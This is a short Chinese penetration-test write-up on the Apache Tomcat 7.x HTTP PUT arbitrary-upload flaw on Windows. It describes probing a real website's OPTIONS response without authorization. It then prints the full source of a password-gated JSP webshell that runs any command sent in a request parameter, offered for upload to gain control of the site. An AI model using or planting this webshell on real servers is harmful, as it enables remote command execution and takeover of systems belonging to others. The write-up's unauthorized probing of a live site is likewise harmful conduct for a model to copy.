漏洞环境:当 Tomcat运行在Windows操作系统,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求上传任意文件,包括JSP类型的木马。
影响范围:Apache Tomcat 7.0.0 – 7.0.81
该漏洞成因是在Tomcat安装目录的conf\web.xml里,将readonly改为了false

再一次渗透测试的过程中发现某网站Tomcat版本是7.0.75,符合漏洞范围,于是尝试抓包进行测试

在examples目录下,将请求方法改为OPTIONS ,发现允许PUT方法

接下来将请求方法改为PUT,在下方传入一个jsp可执行命令的小马即可拿到网站的权限,JSP小马如下。
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
因为没有授权,仅作测试到此为止,没有继续深入。本地测试结果如下
